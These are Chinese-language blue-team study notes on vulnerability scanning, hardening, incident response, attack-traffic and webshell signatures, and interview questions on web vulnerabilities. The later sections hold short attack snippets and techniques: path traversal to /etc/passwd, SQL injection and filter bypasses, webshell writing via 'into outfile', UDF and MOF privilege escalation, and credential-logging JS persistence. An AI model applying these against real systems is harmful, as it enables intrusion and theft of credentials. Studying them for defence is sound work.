• 占用的带宽大小

• 安全设备的告警

• 业务风险

• 对网络的影响

沟通漏洞扫描的条件

• 网络环境

• 接入点

• 配合人员

沟通交付的结果

• 报告的要求等

确认目标和范围

1 明确扫描范围

  • 按已知系统的漏洞扫描:IP地址、应用服务、网络拓扑

  • 按网段扫描:事先了解涉及的网段

  • 按端口和服务扫描:涉及的资产信息和端口清单

2 安全设备情况

当前使用的防火墙、安全设备的情况,设置的策略等,防止误阻断

3 以往的漏洞扫描情况

是否进行过漏扫,是否因为扫描造成设备异常

4 其他信息

业务的重要程度、业务的繁忙时期和网段是否允许长期挂扫

工具和环境的准备

扫描设备准备

• 确定漏扫工具

• 漏洞库升级到最新、证书都有效

确定目标网络接入环境

• 确定网络接入的方式和位置以及电源

• 提供目标网段的空闲ip、掩码和网关

• 了解安全设备的部署情况和安全策略配置

扫描时间、地点和人员

• 扫描时间(是否指定时间、是否可长时间挂扫)

• 进入机房的流程安排

• 机房配合人员等

方案确定+授权获取
  • 确定扫描方案:同护网方案相结合,提前完成沟通

  • 时间和授权:在漏洞扫描前,特别是按网段扫描前,需要指定单向扫描计划,通过邮件与安全接口人和系统负责人确定扫描时间,并获取相关的审批。

2.扫描实施

现场环境和网络配置

现场环境

• 扫描其间,维护人员全程配合观察业务系统运行状态;

• 涉及机房操作的,针对网线插拔、开关机柜等操作,由配合人员完成;

• 遵守客户场地要求:如机房严谨吸烟、吃东西、需要穿戴鞋套等要求;

• 佩戴通行证,不要出入非授权场所。

网络配置

• 扫描器接入前需确认扫描口IP地址配置,避免发生IP地址冲突问题;

• 如网络不通,需要进行扫描设备故障排查、和网络环境故障排查(配合人员负责网络故障的排查)。

扫描策略确认

事先确认服务器性能,业务重要性、扫描类型等,根据不同情况调整扫描策略:

• 现网业务生产环境,未获取用户文件或邮件授权,禁止弱口令扫描;

• 如果没有指定要求,尽量避免登录扫描

• 对于末进行过漏洞扫描的设备或重要系统,可采取以下方式降低扫描风险:

1、单个IP逐个扫描

2、主备机分开扫描

3、同一设备不同IP地址(如浮动地址)分开扫描

• 根据前期收集到信息,排除因扫描出现异常的设备,以及扫描存在较高风险的设备(如老旧设备、负荷较高设备,以及其他特殊情况)

任务开始前,可通过扫1-2个地址,进行网络承载、路由通路等测试;

• 每个扫描任务地址不应太多,IP及网段较多的,建议分批扫描(防止设备卡死、扫描中断等意外情况);

• 扫描的资产应以业务系统为单位,当无法确认业务系统时,应以部门单位进行扫描,方便历史数据统计分析;

• 若涉及某部门按网段进行扫描,应将网段拆分为多个子任务进行

• 扫描任务命名时明确部门、系统等关键信息,例如【部门名称+系统名称+任务类型+其他】,能够有效的区分不同的扫描任务。

• 扫描其间,配合人员需要全程关注业务运行情况,观察是否出现异常;

• 在扫描其间一旦出现系统瘫痪、宕机等情况,根据提前准备的应急预案,立即配合进行处置和恢复。并根据现场情况決定业务恢复后是否还继续进行扫描任务。

关于异常任务排查

1.异常现象

• 扫描任务失败

• 扫描结果无任何漏洞

• 扫描资产减少

• 扫描进度0%

2.发生原因

• 网络不可达或网络波动

• 有安全防护设备或配置了安全策略

• 扫描工具故障

3.处置措施

• 排查扫描工具的故障

• 排查网路环境故障

• 确定目标资产防护情况

• 重新配置扫描任务

3.收尾阶段

收尾工作
  • 配合人员对系统运行状态、业务运行状态进行确认,如有异常按照应急措施进行处置

  • 扫描人员并关闭扫描器,断开网线,恢复扫描前状态

  • 经确认无误后扫描人员离场

扫描结果的汇报与交付

• 配合人员对系统运行状态、业务运行状态进行确认,如有异常按照应急措施进行处置

• 扫描人员并关闭扫描器,断开网线,恢复扫描前状态

• 经确认无误后扫描人员离场

4.报告分析

关键信息提取

1 扫描目标存活数量

• 同资产表对比,是否疏漏

• 检查疏漏原因并补充扫描

2 目标主机漏洞的分布情况

• 各风险等级漏洞在整体资产中的分布

• 哪些资产漏洞数量最多、风险等级较高

3 漏洞类型

• 存在漏洞的主要是哪些系统、应用

• 哪些扫描原理类型发现的、存在误报的可能性

4 漏洞信息

• 漏洞名、漏洞描述、编号、受影响系统/版本/组件、风险等级

• 漏洞分析和加固建议

漏洞信息检索

1 基本漏洞信息-漏洞共享平台

• 方法:根据各类漏洞编号(CVE、CNVD、CNNVD等)在对应漏洞共享平台检索

• 需要的信息:漏洞名称、描述、受影响通用应用版本范围、风险等级、部分官方补丁下载链接等

2漏洞加固信息检索-操作系统/应用官方网站

• 在各类操作系统、应用软件官方网站通过漏洞编号检索官方漏洞公告、补丁编号

• 当前操作系统的哪些版本受影响,是否已有加固方案,具体加固方法及补丁下载链接

3 Poc一互联网

• 通过CVE编号,查找"CVE-xxxx-xxxxPOC" 或"CVE-xxxx-xxxx exploit”

• 验证有风险,需评估漏洞及验证风险,获取授权后开展

渗透测试工作

img

主机基线检查

什么是安全基线管理

安全基线主要对系统和应用的一种检查手段和机制,提前对系统和应用的

风险进行控制,防患于未然。目前主要从操作系统、数据库、网络设备、

中间件等操作,目前分为脚本制和手工排查两种方式

安全基线管理做些什么

系统加固、资产版本梳理、密码策略加强、脆弱性管理等等

安全加固工作

加固前的准备

目标

• 明确安全加固支持项目的客户信息、服务范围、工作计划等

确定范围

• 针对安全加固项目范围的系统资产进行总体的了解;确认工作计划、实施环境客户接口人、流程要求和项目交付物等

输出

• 项目信息调研表

• 加固资产清单

• 安全加固古持服务实施计划

要点

• 确保加固资产无遗漏

安全加固的方案

目标

• 依据前期调研信息,确认安全加固优先级,选择恰当的安全加固方法,形成安全加固实施方案

原则

• 优先解决业务系统的高风险漏洞,其次解决中风险漏洞、低风险漏洞

输出

• 安全加固实施方案

• 安全加固清单

• 安全加固操作

质量控制

• 项目经理对方案进行审核,确保实施质量

安全加固的原则

版本升级

对于系统和应用在使用过程中暴露的安全缺陷,系统或应用厂商会及时发布解决问题的升级补丁包。升级系统或应用版本,可有效解决旧版本存在的安全风险。

关闭端口服务

在不影响业务系统正常运行情况下,停止或禁用与承载业务无关的服务和服务端口,可有效避免无关服务造成的安全风险。

修改配置项

操作系统(也包括网络设备和安全设备等)、数据库、中间件、第三方应用和业务系统可更改的配置中与安全相关的设置参数等信息,通过修改安全配置检查可以为网络和应用系统提供必要的安全保护。

修改代码

修改代码一般由系统开发厂商完成。安全加固支持方仅提供加固建议及加固有效性验证。

主机/网络ACL

主机/网络ACL策略是一类临时安全加固方法

ACL通常应用在系统的出口控制上,可以通过实施ACL,可以有效的部署网络出网策略,控制对网内部资源的访问能力,进而来保障这些资源的安全性

部署安全设备

部署设备防护是一类临时安全加固方法

部署设备防护的安全加固方式一般由设备厂商完成。安全加固方仅提供防护设备策略配置建议及加固有效性验证

应急响应

什么是应急响应

应急响应的定义

当企业发生黑客入侵、系统崩溃或其它影响业务正常运行的安全事件时,急需第一时间进行处理,使企业的网络信息系统在最短时间内恢复正常工作,进一步查找入侵来源,还原入侵事故过程,同时给出解决方案与防范措施,为企业挽回或减少经济损失。

应急相应的流程

第一步:沟通

联系客户,咨询当前服务器的状态,发生的准确时间点,服务器上有什么业务,提供异常截图,事件发生后有木有做过处理,做了哪些处理,之前有没有发生过安全事件,是否有完整的日志,服务器上是否存在安全设备

第二步:确认

初步了解服务器相关信息,要求客户对服务器的重要数据进行备份,然后提供给我们应急服务器的账号密码,如果服务器上存在对应web服务,需要提供对应的web域名,整理客户描述信息,进行初步确认,判断是不是安全事件,切不可盲目相信他人所述,如果是安全事件提供对应的止损方案。

第三步:深入分析

分析服务器上进程、网络连接、计划任务、日志,查找异常项,帮助客户恢复服务器正常状态,刻画攻击路径。

第四步:沟通

保持跟客户的持续沟通,不要让客户感觉你没有在处理事件,及时同步处理进展。有不知道的信息就主动问客户获取,客户提供越多信息,对我们完成应急越有帮助。

第五步:总结

整理并输出完整的应急报告

应急响应流程中的注意事项

(1)由于应急需要注意时效性,客户一般都是非常着急的,尽可能快的定位到问题,解决问题才是最重要的。

(2)止损第一,止损第一,止损第一。

(3)不要造成二次伤害

应急响应的事件分类

网络攻击事件
  • 安全扫描攻击:黑客利用扫描器对目标进行漏洞探测,并在发现漏洞后进一步利用漏洞进行攻击

  • 暴力破解攻击:对目标系统账号密码进行暴力破解,获取后台管理员权限

  • 系统漏洞攻击:利用操作系统、应用系统中存在漏洞进行攻击

  • WEB漏洞攻击:通过SQL注入漏洞、上传漏洞、XSS漏洞、授权绕过等各种WEB漏洞进行攻击

  • 拒绝服务攻击:通过大流量DDOS或者CC攻击目标,使目标服务器无法提供正常服务

  • 其他网络攻击行为

恶意程序事件
  • 病毒、蠕虫:造成系统缓慢,数据损坏、运行异常

  • 远控木马:主机被黑客远程控制

  • 僵尸网络程序(肉鸡行为):主机对外发动DDOS攻击、对外发起扫描攻击行为

  • 挖矿程序:造成系统资源大量消耗

web恶意代码
  • Webshell后门:黑客通过Webshel控制主机

  • 网页挂马:页面被植入待病毒内容,影响访问者安全

  • 网页暗链:网站被植入博彩、色情、游戏等广告内容

信息破坏事件
  • 系统配置遭篡改:系统中出现异常的服务、进程、启动项、账号等等

  • 数据库内容篡改:业务数据遭到恶意篡改,引起业务异常和损失

  • 网站内容篡改事件:网站页面内容被黑客恶意篡改

  • 信息数据泄露事件:服务器数据、会员账号遭到窃取并泄露

其他安全事件
  • 账号被异常登录:系统账号在异地登录,可能出现账号密码泄露

  • 支付盗刷

应急响应方法论

1.账号安全

2.端口、进程

3.历史操作

4.启动项、定时任务

5.处理

CheckList

image-20220610175541607

Windows下的应急响应

账号安全

查看服务器是否有弱口令,远程管理端口是否对公网开放 咨询相关服务器管理员
查看服务器是否存在可疑账号、新增账号 Cmd->lusrmgr.msc
查看服务器是否存在隐藏账号、克隆账号 1、打开注册表,查看管理员对应键值
2、使用D盾_web查杀工具,集成了对克隆账号检测的功能
日志查看管理员登录时间、用户名是否存在异常 cmd->eventvwr.msc,导出Windows日志–安全,利用Log Parser进行分析

端口安全

检查端口连接情况,是否有远程连接、可疑连接

netstat -ano 查看目前的网络连接,定位可疑的ESTABLISHED,根据netstat 定位出的pid,再通过tasklist命令进行进程定位tasklist | findstr “PID”

进程安全

1、msinfo32->正在运行的环境

2、D盾_web查杀工具,进程查看

3、Process Explorer

4、可疑的进程及其子进程

检查内容:没有签名验证信息的进程没有描述信息的进程、进程的属主、进程的路径、CPU或内存资源占用长时间过高的进程

启动项安全

msconfig ->启动

regedit :查看注册表

HKEY_CURRENT_USER\software\micorsoft\windows\currentversion\run

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Runonce

安全软件:360、火绒等

gpedit.msc

对于一些比较老的系统:开始->所有程序->【启动】

计划任务与自启动服务安全

at/schtasks.exe

检查计算机与网络上的其它计算机之间的会话或计划任务,如有,则确认是否为正常连接

控制面板->计划任务

查看计划任务属性,便可以发现木马文件的路径

services.msc

注意服务状态和启动类型,检查是否有异常服务

系统相关信息

systeminfo,查看系统信息 环境变量

查看用户目录,新建账号会在这个目录生成一个用户目录

%UserProfile%\Recent

回收站、浏览器下载目录、浏览器历史记录

文件列表时间进行排序,查找可疑文件

修改时间在创建时间之前的为可疑文件

Linux下的应急响应

账号安全

1、用户信息文件/etc/passwd

root:x:0:0:root:/root:/bin/bash

account:password:UID:GID:GECOS:directory:shell

用户名:密码:用户ID:组ID:用户说明:家目录:登陆之后shell

注意:无密码只允许本机登陆,远程不允许登陆

2、影子文件/etc/shadow

root:$6$oGs1PqhL2p3ZetrE$X7o7bzoouHQVSEmSgsYN5UD4.kMHx6qgbTqwNVC5oOAouXvcjQSt.Ft7ql1WpkopY0UV9ajBwUt1DpYxTCVvI/:16809:0:99999:7:::

用户名:加密密码:密码最后一次修改日期:两次密码的修改时间间隔: 密码有效期:密码修改到期到的警告天数:密码过

期之后的宽限天数:账号失效时间:保留

3、禁用或删除多余及可疑的账号
  • Usermod –L user

  • Userdel user

  • Userdel –r user

4、查看特权用户

awk -F: '$3==0{print $1}' /etc/passwd

5、查询可以远程登录的帐号信息

awk '/\$1|\$6/{print $1}' /etc/shadow

6、除root帐号外,其他帐号是否存在sudo权限。如非管理需要,普通帐号应删除sudo权限

more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"

操作历史

通过.bash_history查看帐号执行过的系统命令

1、root的历史命令

histroy

2、打开/home各帐号目录下的.bash_history,查看普通帐号的历史命令

3、历史操作命令的清除:history -c 但此命令并不会清除保存在文件中的记录,因此需要手动删除.bash_profile文件中的记录。

异常端口与异常进程

使用netstat 网络连接命令,分析可疑端口、IP、PID

netstat -plant|more查看下pid所对应的进程文件路径,

运行ls -l /proc/$PID/exefile /proc/$PID/exe($PID 为对应的pid号)

使用ps命令,分析进程

ps aux | grep pid

查看敏感文件夹

1、查看敏感目录,如/tmp目录下的文件,同时注意隐藏文件夹,以“…”为名的文件夹具有隐藏属性

2、如何找出同一时间范围内创建的文件?

可以使用find命令来查找,如find /opt -iname "*" -atime 1 -type f 找出/opt 下一天前访问过的文件

3、针对可疑文件可以使用stat进行创建修改时间

启动项

开机启动配置文件

/etc/rc.local

/etc/rc.d/rc[0~6].d

rc.*

**例子:*当我们需要开机启动自己的脚本时,只需要将可执行脚本丢在/etc/init.d目录下,然后在/etc/rc.d/rc.d中建立软链接即可:ln -s /etc/init.d/sshd /etc/rc.d/rc3.d/S100ssh

此处sshd是具体服务的脚本文件,S100ssh是其软链接,S开头代表加载时自启动;如果是K开头的脚本文件,代表运行级别加载时需要关闭的

定时任务

1、利用crontab创建计划任务

基本命令

crontab -l 列出某个用户cron服务的详细内容

Tips:默认编写的crontab文件会保存在(/var/spool/cron/用户名 例如: /var/spool/cron/root

crontab -r 删除每个用户cront任务(谨慎:删除所有的计划任务)

crontab -e 使用编辑器编辑当前的crontab文件

如:*/1 * * * * echo "hello world" >> /tmp/test.txt 每分钟写入文件

2、利用anacron实现异步定时任务调度

使用案例

每天运行/home/backup.sh脚本: vi /etc/anacrontab @daily 10 example.daily /bin/bash /home/backup.sh

当机器在backup.sh 期望被运行时是关机的,anacron会在机器开机十分钟之后运行它,而不用再等待7天。

审计

重点关注以下目录中是否存在恶意脚本

/var/spool/cron/*

/etc/crontab

/etc/cron.d/*

/etc/cron.daily/*

/etc/cron.hourly/*

/etc/cron.monthly/*

/etc/cron.weekly/

/etc/anacrontab

/var/spool/anacron/*

more /etc/cron.daily/* 查看目录下所有文件

服务

1、查询已安装的服务: RPM包安装的服务

chkconfig --list 查看服务自启动状态,可以看到所有的RPM包安装的服务

ps aux | grep crond查看当前服务

系统在3与5级别下的启动项

中文环境

chkconfig --list | grep “3:启用|5:启用”

英文环境

chkconfig --list | grep “3:on|5:on”

2、查看服务安装位置,一般是在/user/local/

搜索/etc/rc.d/init.d/ 查看是否存在

研判+日志审计

一、什么是研判

研判其实就是对异常行为的判断,过滤误报信息

二、常见Web攻击流量讲解

Web漏洞

敏感信息泄露 …/…/…/…/…/etc/passwd

SQL注入1’ UNION SELECT 1,2,3;–+

XSS <ScER>

命令执行think

文件包含

CSRF 跨站请求伪造

SSRF 服务端请求伪造

文件上传

点击劫持

条件竞争

XXE

对象注入

Weblogic流量特征

在传输数据包的HTTP头中会有一个cmd的参数,数据内容也会有明显的系统命令的特征

fastjson流量特征

fastjson反序列化 攻击者传入一个恶意构造的json内容 程序对其进行反序列化后得到恶意类并执行了恶意类中的恶意函数,导致代码执行

数据包是post类型的 content-type为applicatioon/json

数据内容为未闭合的花括号 或者含有@type字样的json数据

CS流量特征

默认端口50050

证书特征

对比正常的http流量,CS的http通信流量具有以下几个特征:

A. 心跳包特征 a) 间隔一定时间,均有通信,且流级上的上下行数据长度固定;

C. 指令特征 shell whoami hashdump等

a) 下发指令时,通过心跳包接收指令,这时,server端返回的包更长,甚至包含要加载的dll模块数据。 b) 指令执行完后,client端通过POST请求发送执行的结果数据,body部分通过加密和base64编码。 c) 不同指令,执行的时间间隔不一样,可以通过POST请求和GET请求的间隔进行判断。

D. 数据特征 a) 在请求的返回包中,通信数据均隐藏在jqeury*.js中。

三、Webshell攻击流量讲解

中国菜刀

第一:“eval”,eval函数用于执行传递的攻击payload,这是必不可少的;
第二:base64_decode(POST[z0])base64decode(POST[z0]),base64decode(POST[z0])将攻击payload进行Base64解码,因为菜刀默认是将攻击载荷使用Base64编码,以避免被检测;
第三:&z0=QGluaV9zZXQ…,该部分是传递攻击payload,此参数z0对应$_POST[z0]接收到的数据,该参数值是使用Base64编码的,所以可以利用base64解码可以看到攻击明文。

1
2
3
1.有少数时候eval方法会被assert方法替代。
2.也会被_GET、$_REQUEST替代。
3.z0是菜刀默认的参数,这个地方也有可能被修改为其他参数名。

蚁剑

对数据内容进行URL编码,并且有@ini_set("display_errors","0");

以0_x开头的参数名,后面为加密数据的数据包也可以识别为蚁剑的流量特征

流量中使用了eval参数,可以被认为明显特征

冰蝎

使用的是动态二进制加密,使用AES算法

会有大量的content-type:application/octet-stream 的UA头

每次数据前面都会有一个默认16字节UA头的数据包

特斯拉

可以绕过市面上大部分静态查杀和WAF

可能会有发起连接时服务器返回的包长度为0 可以作为一个特征

四、什么是日志分析

日志分析是运维工程师解决系统故障,发现问题的主要手段。日志主要包括系

统日志、应用程序日志和安全日志。系统运维和开发人员可以通过日志了解服

务器软硬件信息、检查配置过程中的错误及错误发生的原因,经常分析日志可以

了解服务器的负荷,性能安全性,从而及时采取措施纠正错误。

五、日志分析工具介绍

ELK日志分析平台简介

"ELK〞是三个开源项目的首字母缩写,这三个项目分别是:Elasticsearch、Logstash 和Kibana.

Elasticsearch 是个搜索和分析引擎。Logstash 是服务器端数据处理管道,能够多同时从多个来源采集数据,转换数据,然后将数据发送到诸如Elasticsearch 等“存储库〞中。Kibana则可以让用户在Elasticsearch 中使用图形和图表对数据进行可视化。

ELK的三个组成部分

ELK由Elasticsearch、Logstash和Kibana三部分组件组成;

Elasticsearch是个开源分布式搜索引擎,它的特点有:分布式,零配置,自动发现,索引自动分片,索引副本机制,restful风格接口,多数据源,自动搜索负载等。

Logstash是一个完全开源的工具,它可以对你的日志进行收集、分析,并将其存储供以后使用

kibana 是一个开源和免费的工具,它可以为Logstash 和ElasticSearch 提供的日志分析友好的Web 界面,可以帮助您汇总、分析和搜索重要数据日志。

ELK的部署结构

image-20220610184115710

六、Windows/Linux日志分析

Windows日志

a.Windows事件日志简介

Windows系统日志是记录系统中硬件、软件和系统问题的信息,同时还可以监视系统中发生的事件。用户可以通过它来检查错误发生的原因,或者寻找受到攻击时攻击者留下的痕迹。Windows主要有以下三类日志记录系统事件:应用程序日志、系统日志和安全日志。

系统和应用程序日志存储着故障排除信息,对于系统管理员更为有用。安全日志记录着事件审计信息,包括用户验证(登录、远程访问等)和特定用户在认证后对系统做了什么,对于调查人员而言,更有帮助。

系统日志

记录操作系统组件产生的事件,主要包括驱动程序、系统组件和应用软件的崩溃以及数据丢失错误等。系统日志中记录的时间类型由WindowsNT/2000操作系统预先定义。

默认位置: %SystemRoot%\System32\Winevt\Logs\System.evtx

应用程序日志

包含由应用程序或系统程序记录的事件,主要记录程序运行方面的事件,例如数据库程序可以在应用程序日志中记录文件错误,程序开发人员可以自行决定监视哪些事件。如果某个应用程序出现崩溃情况,那么我们可以从程序事件日志中找到相应的记录,也许会有助于你解决问题。

默认位置: %SystemRoot%\System32\Winevt\Logs\Application.evtx

安全日志

记录系统的安全审计事件,包含各种类型的登录日志、对象访问日志、进程追踪日志、特权使用、帐号管理、策略变更、系统事件。安全日志也是调查取证中最常用到的日志。默认设置下,安全性日志是关闭的,管理员可以使用组策略来启动安全性日志,或者在注册表中设置审核策略,以便当安全性日志满后使系统停止响应。

默认位置: %SystemRoot%\System32\Winevt\Logs\Security.evtx

b. 审核策略与事件查看器

Windows Server 2008 R2 系统的审核功能在默认状态下并没有启用,建议开启审核策略,若日后系统出现故障、安全事故则可以查看系统的日志文件,排除故障,追查入侵者的信息等。PS:默认状态下,也会记录一些简单的日志,日志默认大小20M

开始→ 管理工具→ 本地安全策略→ 本地策略→ 审核策略

设置合理的日志属性,即日志最大大小、事件覆盖阀值等

查看系统日志方法
  1. 在“开始”菜单上,依次指向“所有程序”、“管理工具”,然后单击“事件查看器”(老版本的windows)

  2. 按"Window+R",输入”eventvwr.msc“ 也可以直接进入“事件查看器”

c. 事件日志分析

对于Windows事件日志分析,不同的EVENT ID代表了不同的意义,摘录一些常见的安全事件的说明:

事件ID 说明
4624 登录成功
4625 登录失败
4634 注销成功
4647 用户启动的注销
4672 使用超级用户(如管理员)进行登录
4720 创建用户
d. 日志分析工具
Log Parser

Log Parser(是微软公司出品的日志分析工具,它功能强大,使用简单,可以分析基于文本的日志文件、XML 文件、CSV(逗号分隔符)文件,以及操作系统的事件日志、注册表、文件系统、Active Directory。它可以像使用SQL 语句一样查询分析这些数据,甚至可以把分析结果以各种图表的形式展现出来。

安全设备

一、WAF讲解

什么是WAF

  • Web应用防护墙(Web Application Firewall,简称WAF)是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品,主要用于防御针对网络应用层的攻击,像SQL注入、跨站脚本攻击、参数篡改、应用平台漏洞攻击、拒绝服务攻击等。

  • 同传统的防火墙不同的是,web应用防火墙位于两个或多个网络之间,它们是实施网间访问控制的一组组建的集合,内部和外部网络之间的所有网络数据都必须经过防火墙,只有符合安全策略的数据才能通过防火墙,它工作再开放系统互连参考模型的网络层,通过地址转换、访问控制机器的状态检测等功能,对企业网络层数据进行保护

WAF的部署方式

透明部署方式:

是在web服务器和防火墙之间插入WAF,在透明模式下,web应用防火墙只对流经OSI应用层的数据进行分析,而对其他层的流量不作控制,因此透明模式的最大特点就是快速、方便、简单。

image-20220610190504781

应用场景:

• 不改动原有网络拓扑

• 不增加网络设备的接口

• WAF关机不影响服务器的访问

旁路监听模式:

在交换机做服务器端口镜像,将流量复制一份到WAF上,部署时不影响在线业务。在旁路模式下WAF只会进行告警而不阻断。

image-20220610190559188

应用场景:

• 只需要检测是否被攻击

• 不需要防护

反向代理模式:

以旁路的方式接入到网络环境中,需要更改网络防火墙的目的映射表,网络防火墙映射WAF的业务口地址,将服务器的IP地址进行隐藏。

image-20220610190628029

应用场景:

• 不希望把Web服务器暴露在公网

WAF的防护过程

1.全局安全防护

网络层ACL、TCP flood、arp欺骗检测

2.Web安全防护

SQLi、XSS

3.防护动作执行

阻断、重定向、封禁IP

二、全流量平台简介

科来全流量

image-20220610190855913

三、HIDS与EDR

什么是HIDS

HIDS是一部能够监视网络或网络设备的网络资料传输行为的计算机网络安全设备,能够即时的中断、调整或隔离一些不正常或是具有伤害性的网络行为。通常能够准确地识别恶意行为并记录,并将记录保存后预警。

什么是EDR

EDR是一种主动的安全方法,可以实时监控端点,并搜索渗透到公司防御系统中的威胁。EDR 服务可以让你知道攻击者是否及何时进入你的网络,并在攻击发生时检测攻击路径ーー帮助你在记录的时间内对事件作出反应。

四、上网行为管理

五、VPN原理与使用

什么是VPN

VPN本质上是在运营商提供的公网之上构建一个安全的加密隧道,从而使两个私网能够借助公网的网络实现互相通信。

VPN的功能

虚拟专用网络(VPN)的功能是:在公用网络上建立专用网络,进行加密通讯。在企业网络中有广泛应用。VPN网关通过对数据包的加密和数据包目标地址的转换实现远程访问。VPN可通过服务器、硬件、软件等多种方式实现。

SSL VPN

SSL VPN即是采用SSL协议来实现远程接入的一种新型VPN技术。它包括:服务器认证,客户认证、SSL链路上的数据完整性和SSL链路上的数据保密性。如上图所示,SSL VPN通过WAN口连接到Internet,然后再通过LAN口再连接到内网。内网有两个网段,出差或者家庭办公的员工通过internet 连接到SSL VPN,再通过SSLVPN从外网来访问内网的网络资源。

image-20220610191302279

六、蜜罐的原理与使用

什么是蜜罐

技术本质上是一种对攻击方进行欺骗的技术,通过布置一些作为诱饵的主机、网络服务或者信息,诱使攻击方对它们实施攻击,从而可以对攻击行为进行捕获和分析,了解攻击方所使用的工具与方法,推测攻击意图和动机,能够让防御方清晰地了解他们所面对的安全威胁,并通过技术和管理手段来增强实际系统的安全防护能力。好比是情报收集系统。蜜罐好像是故意让人攻击的目标,引诱黑客前来攻击。所以攻击者入侵后,你就可以知道他是如何得逞的,随时了解针对服务器发动的最新的攻击和漏洞。还可以通过窃听黑客之间的联系,收集黑客所用的种种工具,并且掌握他们的社交网络。

HFish蜜罐检测平台

HFish 是一款基于Golang 开发的跨平台多功能主动诱导型蜜罐框架系统,为了企业安全防护测试做出了精心的打造。

  • 多功能不仅仅支持HTTP(S) 蜜罐,还支持SSH、SFTP、Redis、Mysql、FTP、Telnet、暗网等
  • 扩展性提供API 接口,使用者可以随意扩展蜜罐模块( WEB、PC、APP )

  • 便捷性使用Golang 开发,使用者可以在Win + Mac + Linux 上快速部署一套蜜罐平台

七、态势感知平台

八、沙箱的原理与使用

什么是沙箱

沙盒(英语:sandbox,又译为沙箱)是一种安全机制,为执行中的程式提供的隔离环境。通常是作为一些来源不可信、具破坏力或无法判定程序意图的程序提供实验之用

九、威胁情报讲解

十、社工库讲解

HVV面经

基础漏洞

SQL注入

  • 原理(口头语言):用户的输入嵌入到SQL语句中,然后被当做代码执行

  • 成因:未对用户输入的数据做验证或者处理(预编译)

  • 防御:预编译(能够防止SQL注入,但是不能处理%和_特殊字符)

    1
    2
    3
    4
    黑名单:对特殊字符进行转义过滤替换或者删除、 
    白名单:对用户输入进行限制(正则表达式限制)、
    规范编码和字符集(编码不同可能会导致宽字节注入)、
    参数化查询(原理):不会把参数的内容当做sql语句执行,完成编译后套用参数运行
  • 分类:

    • 头注入:UA(useragent),Referer,cookie

    • 联合查询注入

    • 报错注入 需要用到的函数:updataxml()

      1
      2
      3
      4
      5
      rand():产生一个0-1之间随机数,rand(0),随机产生一个0-1的随机数,运行多次产生的结果一样
      floor():向下取整,floor(rand()*2),随机产生0和1两个数
      group by:分组排列
      count():统计数量
      concat():将字符串连接起来
    • 布尔盲注

    • 堆叠:1;select··

    • 时间盲注: 需要用到的函数

      1
      2
      3
      4
      5
      6
      7
      if(condition,A,B) --如果条件成立返回A,否则返回B;用啥语句替代if???????
      sleep(num) --表示延迟几秒
      left(m,n) --从左向右截取字符串 m 返回其前 n 位
      substr(m,1,1) --取字符串 m 的左边第一位起,1字长的字符串
      ascii(m) --返回字符 m 的 ASCII 码
      length(m) --返回字符串 m 的长度
      count(column_name) --返回指定列的值的数目
    • 宽字节注入:

      • PHP utf-8编码 数据库GBK编码
      • PHP防御函数:magic_quotes_gpc()
        • 成因:PHP发送请求到mysql时经过一次gbk编码,PHP会将获取到的数据进行魔术引号的处理,因为GBK是双字节编码,所以我们提交的%df这个字符和转译的反斜杠组成了新的汉字,然后数据库处理的时候是根据GBK去处理的,然后单引号就逃逸了出来。
        • 原理:在数据库中使用宽字符集,在web中没有考虑这个问题。由于0XDF27在web中是两个字符,在php中会对0x27进行转义,把0XDF27变成0XDF5c27
  • 常问问题:

    • 被过滤怎么办

      1
      2
      3
      4
      5
      (1)过滤*关键字*             使用大小写绕过,双写绕过,URL编码绕过 
      (2)过滤*特殊字符*,*空格* 使用URL编码绕过
      (4)过滤*注释* 使用添加一个闭合方式绕过,逻辑运算绕过
      (5)过滤*单引号* 使用宽字符绕过(前提PHP使用GBK编码)
      (6)过滤*明码数据* 使用burpsuite加密发送数据绕过
    • 代替空格:/**/、<>、%0a、%0b、%a0

    • 如何写shell:利用日志写shell:

      1
      2
      3
      4
      root权限,GPC关闭,知道文件路径 的前提 
      日志路径:var/log/mysqld.sql
      select '一句话' into outfile '路径'
      select '一句话' into dumpfile '路径'
      • 如果你拿到了sql的权限,你怎么获取系统权限

        • Mysql_UDF 提权 利用了root高权限,创建一个可以调用 cmd 的函数的 udf.dll 动态链接库, 导出 udf.dll 文件后,我们就可以直接在命令框输入 cmd

          1
          2
          3
          4
          限制条件:   
          1-MySQL 数据库没有开启安全模式(确认secure_file_priv=''是否为空)
          2-已知的数据库账号具有对MySQL数据库insert和delete的权限,最好是root最高权限。
          3-shell有写入到数据库安装目录的权限。
        • MOF提权: 基本上在Windows Server 2003的环境下才可以成功。
          原理是C:/Windows/system32/wbem/mof/目录下的mof文件每隔几秒就会被系统执行一次,因为这个 MOF 里面有一部分是 VBS脚本,所以可以利用这个VBS脚本 来调用CMD来执行系统命令
          如果 MySQL有权限操作 mof 目录的话,就可以来执行任意命令了。

    • mysql5.0以上和5.0以下有什么区别:5.0以下没有系统表(information_schema),只能暴力跑表;

      • 为何一个mysql数据库的站,只有一个80端口开放:
        1、更改了数据库端口,没有扫描出来。 2、站库分离。 3、3306 端口不对外开放

XSS跨站脚本攻击

原理: 通过拼接恶意的html代码,利用js语句来执行攻击,实现对用户浏览器的攻击
类型:

  • 反射型:攻击代码在url里,输出在http响应中
  • 存储型:把用户输入的数据存储在服务器上
  • DOM型:通过修改页面的DOM结点形成xss

XSS绕过:

1.大小写

2.js伪协议

3.没有分号

4.Flash

5.Html5新标签

6.Fuzz进行测试

7.双层标签绕过
修复防御:
1.对输出内容实体化编码,对JavaScript的事件进行过滤
2.对重要的cookie设置httpOnly, 防止客户端通过document.cookie读取 cookie,此 HTTP头由服务端设置。 3.csp防范xss

常问问题:

  • xss蠕虫产生条件:用户之间产生交互行为的页面都可能造成xss蠕虫,不一定需要存储型xss
  • 有shell的情况下如何长久控制:
    后台登录处加一段记录登录账号密码的js,判断是否登录成功,如果登录成功,就把账号密码记录到一个生僻的路径的文件中或者直接发到自己的网站文件中。在登录后才可以访问的文件中插入XSS脚本

CSRF跨站请求伪造攻击/客户端请求伪造

  • 原理:用户访问恶意网站时运行恶意网站上加载的JS,然后攻击者就可以利用受害者的身份 对已经登陆的正常网站发送数据包,达到篡改信息、修改配置等功能
  • 成因:Cookie不过期,没有进行进一步的验证用户信息,没有安全意识访问了恶意站点
